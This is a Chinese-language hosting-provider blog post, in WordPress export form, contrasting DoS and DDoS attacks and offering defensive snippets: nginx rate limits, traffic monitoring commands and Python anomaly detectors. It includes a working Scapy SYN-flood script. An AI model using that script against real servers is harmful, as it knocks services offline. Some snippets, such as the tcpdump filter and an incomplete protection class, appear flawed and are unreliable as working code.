{"id":18739,"date":"2024-05-13T09:42:12","date_gmt":"2024-05-13T01:42:12","guid":{"rendered":"https:\/\/www.varidata.com\/uncategorized-zh-cn\/ddos-vs-dos-attacks-on-us-servers-key-differences\/"},"modified":"2025-03-21T09:46:06","modified_gmt":"2025-03-21T01:46:06","slug":"ddos-vs-dos-attacks-on-us-servers-key-differences","status":"publish","type":"post","link":"https:\/\/www.varidata.com\/zh-cn\/blog\/ddos-vs-dos-attacks-on-us-servers-key-differences\/","title":{"rendered":"\u7f8e\u56fd\u670d\u52a1\u5668\u906d\u53d7DDoS\u4e0eDoS\u653b\u51fb\u7684\u4e3b\u8981\u533a\u522b"},"content":{"rendered":"<h2><strong>\u57fa\u7840\u6982\u5ff5\u7406\u89e3<\/strong><\/h2>\n<p>\u5728<a href=\"https:\/\/www.varidata.com\/zh-cn\/server\/us\/cn2\/\" target=\"_blank\">\u7f8e\u56fd\u670d\u52a1\u5668\u79df\u7528<\/a>\u5b89\u5168\u9886\u57df\uff0c\u533a\u5206\u5206\u5e03\u5f0f\u62d2\u7edd\u670d\u52a1\uff08DDoS\uff09\u548c\u62d2\u7edd\u670d\u52a1\uff08DoS\uff09\u653b\u51fb\u5bf9\u4e8e\u5b9e\u65bd\u6709\u6548\u9632\u5fa1\u673a\u5236\u81f3\u5173\u91cd\u8981\u3002\u8fd9\u4e9b\u7f51\u7edc\u653b\u51fb\u5df2\u53d8\u5f97\u8d8a\u6765\u8d8a\u590d\u6742\uff0c\u4ee5\u4e0d\u540c\u7684\u590d\u6742\u7a0b\u5ea6\u548c\u5f71\u54cd\u529b\u9488\u5bf9\u670d\u52a1\u5668\u548c\u7f51\u7edc\u57fa\u7840\u8bbe\u65bd\u3002<\/p>\n<h2><strong>DoS\u653b\u51fb\u5206\u6790\uff1a\u6280\u672f\u7ec6\u8282<\/strong><\/h2>\n<p>DoS\u653b\u51fb\u901a\u8fc7\u5355\u4e00\u6765\u6e90\u8fd0\u4f5c\uff0c\u91c7\u7528\u5404\u79cd\u6280\u672f\u8017\u5c3d\u670d\u52a1\u5668\u8d44\u6e90\u3002\u4ee5\u4e0b\u662f\u5c55\u793a\u57fa\u672cSYN\u6d2a\u6c34\u653b\u51fb\u6a21\u5f0f\u7684Python\u811a\u672c\uff1a<\/p>\n<pre><code>\r\nfrom scapy.all import *\r\n\r\ndef syn_flood(target_ip, target_port, num_packets):\r\n    for x in range(num_packets):\r\n        IP_packet = IP(dst=target_ip)\r\n        TCP_packet = TCP(sport=RandShort(), dport=target_port, flags=\"S\")\r\n        packet = IP_packet\/TCP_packet\r\n        send(packet, verbose=False)\r\n\r\n# \u4f7f\u7528\u793a\u4f8b\uff08\u5207\u52ff\u7528\u4e8e\u5b9e\u9645\u653b\u51fb\uff09\r\n# syn_flood(\"target_ip\", 80, 1000)\r\n<\/code><\/pre>\n<p>\u5e38\u89c1\u7684DoS\u653b\u51fb\u65b9\u5f0f\u5305\u62ec\uff1a<\/p>\n<ul>\n<li>TCP SYN\u6d2a\u6c34\uff1a\u5229\u7528TCP\u4e09\u6b21\u63e1\u624b\u673a\u5236<\/li>\n<li>UDP\u6d2a\u6c34\uff1a\u7528UDP\u6570\u636e\u5305\u6df9\u6ca1\u968f\u673a\u7aef\u53e3<\/li>\n<li>HTTP\u6d2a\u6c34\uff1a\u770b\u4f3c\u5408\u6cd5\u7684HTTP\u8bf7\u6c42\uff0c\u5b9e\u5219\u8017\u5c3dWeb\u670d\u52a1\u5668\u8d44\u6e90<\/li>\n<\/ul>\n<h2><strong>DDoS\u653b\u51fb\u5256\u6790\uff1a\u591a\u5411\u91cf\u5206\u6790<\/strong><\/h2>\n<p>DDoS\u653b\u51fb\u5229\u7528\u591a\u4e2a\u88ab\u5165\u4fb5\u7684\u7cfb\u7edf\uff0c\u5f62\u6210\u50f5\u5c38\u7f51\u7edc\u6765\u653e\u5927\u653b\u51fb\u89c4\u6a21\u3002\u73b0\u4ee3\u7f8e\u56fd\u670d\u52a1\u5668\u79df\u7528\u63d0\u4f9b\u5546\u9762\u4e34\u7740\u6a21\u4eff\u5408\u6cd5\u6d41\u91cf\u6a21\u5f0f\u7684\u590d\u6742\u7b2c7\u5c42DDoS\u653b\u51fb\u3002\u4ee5\u4e0b\u662f\u4f7f\u7528tcpdump\u8fdb\u884c\u7f51\u7edc\u6d41\u91cf\u5206\u6790\u7684\u4ee3\u7801\u7247\u6bb5\uff1a<\/p>\n<pre><code>\r\n# \u6355\u83b7\u548c\u5206\u6790\u53ef\u7591\u6d41\u91cf\r\ntcpdump -i eth0 'tcp[tcpflags] & (tcp-syn) != 0 and not src and dst net local'\r\n\r\n# \u76d1\u63a7\u6bcf\u4e2aIP\u7684\u4f20\u5165\u8fde\u63a5\r\nnetstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n\r\n<\/code><\/pre>\n<h2><strong>\u653b\u51fb\u6a21\u5f0f\u7684\u5173\u952e\u533a\u522b<\/strong><\/h2>\n<p>DDoS\u548cDoS\u7684\u6839\u672c\u533a\u522b\u5728\u4e8e\u5b83\u4eec\u7684\u653b\u51fb\u67b6\u6784\u548c\u5f71\u54cd\u89c4\u6a21\uff1a<\/p>\n<style>\n    table {\n        border-collapse: collapse;\n        width: 100%;\n        margin: 20px 0;\n    }\n    th, td {\n        border: 1px solid #ddd;\n        padding: 12px;\n        text-align: left;\n    }\n    th {\n        background-color: #f5f5f5;\n    }\n    tr:nth-child(even) {\n        background-color: #fafafa;\n    }\n    tr:hover {\n        background-color: #f0f0f0;\n    }\n<\/style>\n<table>\n<tr>\n<th>\u7279\u5f81<\/th>\n<th>DoS<\/th>\n<th>DDoS<\/th>\n<\/tr>\n<tr>\n<td>\u6765\u6e90IP<\/td>\n<td>\u5355\u4e00<\/td>\n<td>\u591a\u4e2a\uff08\u901a\u5e38\u6570\u5343\u4e2a\uff09<\/td>\n<\/tr>\n<tr>\n<td>\u6d41\u91cf\u89c4\u6a21<\/td>\n<td>\u53d7\u5355\u4e00\u6765\u6e90\u9650\u5236<\/td>\n<td>\u6d77\u91cf\u5206\u5e03\u5f0f\u6d41\u91cf<\/td>\n<\/tr>\n<tr>\n<td>\u68c0\u6d4b\u590d\u6742\u5ea6<\/td>\n<td>\u76f8\u5bf9\u7b80\u5355<\/td>\n<td>\u9700\u8981\u590d\u6742\u7684\u6a21\u5f0f\u8bc6\u522b<\/td>\n<\/tr>\n<\/table>\n<h2><strong>\u7f8e\u56fd\u670d\u52a1\u5668\u79df\u7528\u57fa\u7840\u8bbe\u65bd\u7684\u9ad8\u7ea7\u9632\u62a4\u7b56\u7565<\/strong><\/h2>\n<p>\u5b9e\u65bd\u5f3a\u5927\u7684\u4fdd\u62a4\u9700\u8981\u591a\u5c42\u6b21\u65b9\u6cd5\u3002\u4ee5\u4e0b\u662f\u57fa\u672cDDoS\u7f13\u89e3\u7684\u5b9e\u7528nginx\u914d\u7f6e\uff1a<\/p>\n<pre><code>\r\nhttp {\r\n    # \u5b9a\u4e49\u9650\u5236\u533a\u57df\r\n    limit_req_zone $binary_remote_addr zone=one:10m rate=1r\/s;\r\n    limit_conn_zone $binary_remote_addr zone=addr:10m;\r\n\r\n    server {\r\n        location \/ {\r\n            # \u901f\u7387\u9650\u5236\r\n            limit_req zone=one burst=5 nodelay;\r\n            limit_conn addr 10;\r\n\r\n            # \u8fde\u63a5\u8d85\u65f6\r\n            client_body_timeout 10s;\r\n            client_header_timeout 10s;\r\n            \r\n            # \u989d\u5916\u7684\u5b89\u5168\u6807\u5934\r\n            add_header X-Frame-Options \"SAMEORIGIN\";\r\n            add_header X-XSS-Protection \"1; mode=block\";\r\n        }\r\n    }\r\n}\r\n<\/code><\/pre>\n<h2><strong>\u5b9e\u65f6\u68c0\u6d4b\u548c\u54cd\u5e94\u7cfb\u7edf<\/strong><\/h2>\n<p>\u73b0\u4ee3\u7f8e\u56fd\u670d\u52a1\u5668\u79df\u7528\u73af\u5883\u9700\u8981\u590d\u6742\u7684\u76d1\u63a7\u89e3\u51b3\u65b9\u6848\u3002\u8bf7\u8003\u8651\u4ee5\u4e0b\u57fa\u4e8ePython\u7684\u6d41\u91cf\u5206\u6790\u5668\uff1a<\/p>\n<pre><code>\r\nimport time\r\nfrom collections import defaultdict\r\n\r\nclass TrafficAnalyzer:\r\n    def __init__(self, threshold=100):\r\n        self.ip_requests = defaultdict(list)\r\n        self.threshold = threshold\r\n        self.window = 60  # 60\u79d2\u7a97\u53e3\r\n\r\n    def analyze_request(self, ip_address):\r\n        current_time = time.time()\r\n        self.ip_requests[ip_address].append(current_time)\r\n        \r\n        # \u6e05\u7406\u65e7\u8bf7\u6c42\r\n        self.ip_requests[ip_address] = [\r\n            t for t in self.ip_requests[ip_address]\r\n            if current_time - t <= self.window\r\n        ]\r\n        \r\n        return len(self.ip_requests[ip_address]) > self.threshold\r\n\r\n    def get_suspicious_ips(self):\r\n        return {\r\n            ip: len(requests)\r\n            for ip, requests in self.ip_requests.items()\r\n            if len(requests) > self.threshold\r\n        }\r\n<\/code><\/pre>\n<h2><strong>\u7ecf\u6d4e\u9ad8\u6548\u7684\u7f13\u89e3\u7b56\u7565<\/strong><\/h2>\n<p>\u7f8e\u56fd\u670d\u52a1\u5668\u79df\u7528\u63d0\u4f9b\u5546\u53ef\u4ee5\u5b9e\u65bd\u51e0\u79cd\u7ecf\u6d4e\u9ad8\u6548\u7684\u89e3\u51b3\u65b9\u6848\uff1a<\/p>\n<ul>\n<li>\u5177\u6709\u81ea\u52a8\u6545\u969c\u8f6c\u79fb\u529f\u80fd\u7684\u6d41\u91cf\u6e05\u6d17\u670d\u52a1<\/li>\n<li>BGP\u4efb\u64ad\u7f51\u7edc\u5b9e\u65bd<\/li>\n<li>\u57fa\u4e8e\u4e91\u7684DDoS\u9632\u62a4\u670d\u52a1<\/li>\n<\/ul>\n<p>\u9632\u62a4\u8d44\u6e90\u5206\u914d\u5e94\u9075\u5faa\u4ee5\u4e0b\u516c\u5f0f\uff1a<\/p>\n<pre><code>\r\n\u9632\u62a4\u9884\u7b97 = (\u5cf0\u503c\u6d41\u91cf * \u6bcfGbps\u9632\u62a4\u6210\u672c) + \r\n         (\u7f13\u89e3\u670d\u52a1\u6210\u672c) + \r\n         (\u5e94\u6025\u54cd\u5e94\u50a8\u5907)\r\n<\/code><\/pre>\n<h2><strong>\u9ad8\u7ea7\u68c0\u6d4b\u7cfb\u7edf\u7684\u5b9e\u65bd<\/strong><\/h2>\n<p>\u4f01\u4e1a\u7ea7\u7f8e\u56fd\u670d\u52a1\u5668\u79df\u7528\u73af\u5883\u9700\u8981\u590d\u6742\u7684\u5f02\u5e38\u68c0\u6d4b\u3002\u4ee5\u4e0b\u662f\u4f7f\u7528\u673a\u5668\u5b66\u4e60\u7684\u5b9e\u7528\u5b9e\u73b0\uff1a<\/p>\n<pre><code>\r\nfrom sklearn.ensemble import IsolationForest\r\nimport numpy as np\r\n\r\nclass AnomalyDetector:\r\n    def __init__(self):\r\n        self.model = IsolationForest(\r\n            contamination=0.1,\r\n            random_state=42\r\n        )\r\n        \r\n    def train(self, traffic_patterns):\r\n        # traffic_patterns: [[\u6bcf\u79d2\u8bf7\u6c42\u6570, \u6bcf\u4e2a\u8bf7\u6c42\u7684\u5b57\u8282\u6570, \u8fde\u63a5\u6301\u7eed\u65f6\u95f4]]\r\n        self.model.fit(traffic_patterns)\r\n        \r\n    def detect_anomaly(self, current_pattern):\r\n        prediction = self.model.predict([current_pattern])\r\n        return prediction[0] == -1  # -1\u8868\u793a\u5f02\u5e38\r\n<\/code><\/pre>\n<h2><strong>\u670d\u52a1\u5668\u79df\u7528\u57fa\u7840\u8bbe\u65bd\u7684\u672a\u6765\u9632\u62a4<\/strong><\/h2>\n<p>\u73b0\u4ee3\u670d\u52a1\u5668\u9632\u62a4\u9700\u8981\u52a8\u6001\u9002\u5e94\u3002\u4ee5\u4e0b\u662f\u81ea\u52a8\u54cd\u5e94\u7cfb\u7edf\u7684\u6a21\u677f\uff1a<\/p>\n<pre><code>\r\nclass DynamicProtection:\r\n    def __init__(self):\r\n        self.protection_layers = {\r\n            'layer3': {'active': False, 'threshold': 10000},\r\n            'layer4': {'active': False, 'threshold': 5000},\r\n            'layer7': {'active': False, 'threshold': 1000}\r\n        }\r\n    \r\n    def adjust_protection(self, traffic_metrics):\r\n        for layer, config in self.protection_layers.items():\r\n            if traffic_metrics[layer] > config['threshold']:\r\n                self.activate_protection(layer)\r\n            elif traffic_metrics[layer] < config['threshold'] * 0.5:\r\n                self.deactivate_protection(layer)\r\n<\/code><\/pre>\n<h2><strong>\u5b9e\u7528\u5efa\u8bae\u548c\u7ed3\u8bba<\/strong><\/h2>\n<p>\u4e3a\u4e86\u6700\u4f73\u4fdd\u62a4\u7f8e\u56fd\u670d\u52a1\u5668\u79df\u7528\u57fa\u7840\u8bbe\u65bd\uff0c\u8bf7\u5b9e\u65bd\u4ee5\u4e0b\u5173\u952e\u63aa\u65bd\uff1a<\/p>\n<ul>\n<li>\u4f7f\u7528\u81ea\u52a8\u5316\u5de5\u5177\u8fdb\u884c\u5b9a\u671f\u5b89\u5168\u5ba1\u8ba1<\/li>\n<li>\u4f7f\u7528\u673a\u5668\u5b66\u4e60\u6a21\u578b\u8fdb\u884c\u6d41\u91cf\u6a21\u5f0f\u5206\u6790<\/li>\n<li>\u5177\u6709\u81ea\u52a8\u6545\u969c\u8f6c\u79fb\u529f\u80fd\u7684\u5197\u4f59\u7f51\u7edc\u8def\u5f84<\/li>\n<li>\u5b9e\u65f6\u76d1\u63a7\u548c\u8b66\u62a5\u7cfb\u7edf<\/li>\n<\/ul>\n<p>DDoS\u548cDoS\u653b\u51fb\u7684\u5f62\u52bf\u5728\u4e0d\u65ad\u53d1\u5c55\uff0c\u8fd9\u4f7f\u5f97\u670d\u52a1\u5668\u79df\u7528\u63d0\u4f9b\u5546\u5fc5\u987b\u7ef4\u6301\u5f3a\u5927\u7684\u5b89\u5168\u63aa\u65bd\u3002\u901a\u8fc7\u7406\u89e3\u8fd9\u4e9b\u653b\u51fb\u7c7b\u578b\u4e4b\u95f4\u7684\u6280\u672f\u533a\u522b\u5e76\u5b9e\u65bd\u9002\u5f53\u7684\u9632\u62a4\u673a\u5236\uff0c\u7ec4\u7ec7\u53ef\u4ee5\u66f4\u597d\u5730\u4fdd\u62a4\u5176\u670d\u52a1\u5668\u57fa\u7840\u8bbe\u65bd\u514d\u53d7\u65b0\u5174\u5a01\u80c1\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u57fa\u7840\u6982\u5ff5\u7406\u89e3 \u5728\u7f8e\u56fd\u670d\u52a1\u5668\u79df\u7528\u5b89\u5168\u9886\u57df\uff0c\u533a\u5206\u5206\u5e03\u5f0f\u62d2\u7edd\u670d\u52a1\uff08DDoS\uff09\u548c\u62d2\u7edd\u670d\u52a1\uff08DoS\uff09\u653b\u51fb\u5bf9\u4e8e\u5b9e\u65bd\u6709\u6548\u9632\u5fa1\u673a\u5236\u81f3\u5173\u91cd\u8981\u3002\u8fd9\u4e9b\u7f51\u7edc\u653b\u51fb\u5df2\u53d8\u5f97\u8d8a\u6765\u8d8a\u590d\u6742\uff0c\u4ee5\u4e0d\u540c\u7684\u590d\u6742\u7a0b\u5ea6\u548c\u5f71\u54cd\u529b\u9488\u5bf9\u670d\u52a1\u5668\u548c\u7f51\u7edc\u57fa\u7840\u8bbe\u65bd\u3002 DoS\u653b\u51fb\u5206\u6790\uff1a\u6280\u672f\u7ec6\u8282 DoS\u653b\u51fb\u901a\u8fc7\u5355\u4e00\u6765\u6e90\u8fd0\u4f5c\uff0c\u91c7\u7528\u5404\u79cd\u6280\u672f\u8017\u5c3d\u670d\u52a1\u5668\u8d44\u6e90\u3002\u4ee5\u4e0b\u662f\u5c55\u793a\u57fa\u672cSYN\u6d2a\u6c34\u653b\u51fb\u6a21\u5f0f\u7684Python\u811a\u672c\uff1a from scapy.all import * def syn_flood(target_ip, target_port, num_packets): for x in range(num_packets): IP_packet = IP(dst=target_ip) TCP_packet = TCP(sport=RandShort(), dport=target_port, flags=&#8221;S&#8221;) packet = IP_packet\/TCP_packet send(packet, verbose=False) # \u4f7f\u7528\u793a\u4f8b\uff08\u5207\u52ff\u7528\u4e8e\u5b9e\u9645\u653b\u51fb\uff09 # syn_flood(&#8220;target_ip&#8221;, 80, 1000) \u5e38\u89c1\u7684DoS\u653b\u51fb\u65b9\u5f0f\u5305\u62ec\uff1a TCP SYN\u6d2a\u6c34\uff1a\u5229\u7528TCP\u4e09\u6b21\u63e1\u624b\u673a\u5236 UDP\u6d2a\u6c34\uff1a\u7528UDP\u6570\u636e\u5305\u6df9\u6ca1\u968f\u673a\u7aef\u53e3 HTTP\u6d2a\u6c34\uff1a\u770b\u4f3c\u5408\u6cd5\u7684HTTP\u8bf7\u6c42\uff0c\u5b9e\u5219\u8017\u5c3dWeb\u670d\u52a1\u5668\u8d44\u6e90 DDoS\u653b\u51fb\u5256\u6790\uff1a\u591a\u5411\u91cf\u5206\u6790 DDoS\u653b\u51fb\u5229\u7528\u591a\u4e2a\u88ab\u5165\u4fb5\u7684\u7cfb\u7edf\uff0c\u5f62\u6210\u50f5\u5c38\u7f51\u7edc\u6765\u653e\u5927\u653b\u51fb\u89c4\u6a21\u3002\u73b0\u4ee3\u7f8e\u56fd\u670d\u52a1\u5668\u79df\u7528\u63d0\u4f9b\u5546\u9762\u4e34\u7740\u6a21\u4eff\u5408\u6cd5\u6d41\u91cf\u6a21\u5f0f\u7684\u590d\u6742\u7b2c7\u5c42DDoS\u653b\u51fb\u3002\u4ee5\u4e0b\u662f\u4f7f\u7528tcpdump\u8fdb\u884c\u7f51\u7edc\u6d41\u91cf\u5206\u6790\u7684\u4ee3\u7801\u7247\u6bb5\uff1a # \u6355\u83b7\u548c\u5206\u6790\u53ef\u7591\u6d41\u91cf tcpdump -i eth0 &#8216;tcp[tcpflags] &#038; (tcp-syn) != 0 and not src [&#8230;]<\/p>\n<p><a class=\"btn btn-secondary understrap-read-more-link\" href=\"https:\/\/www.varidata.com\/zh-cn\/blog\/ddos-vs-dos-attacks-on-us-servers-key-differences\/\">Read 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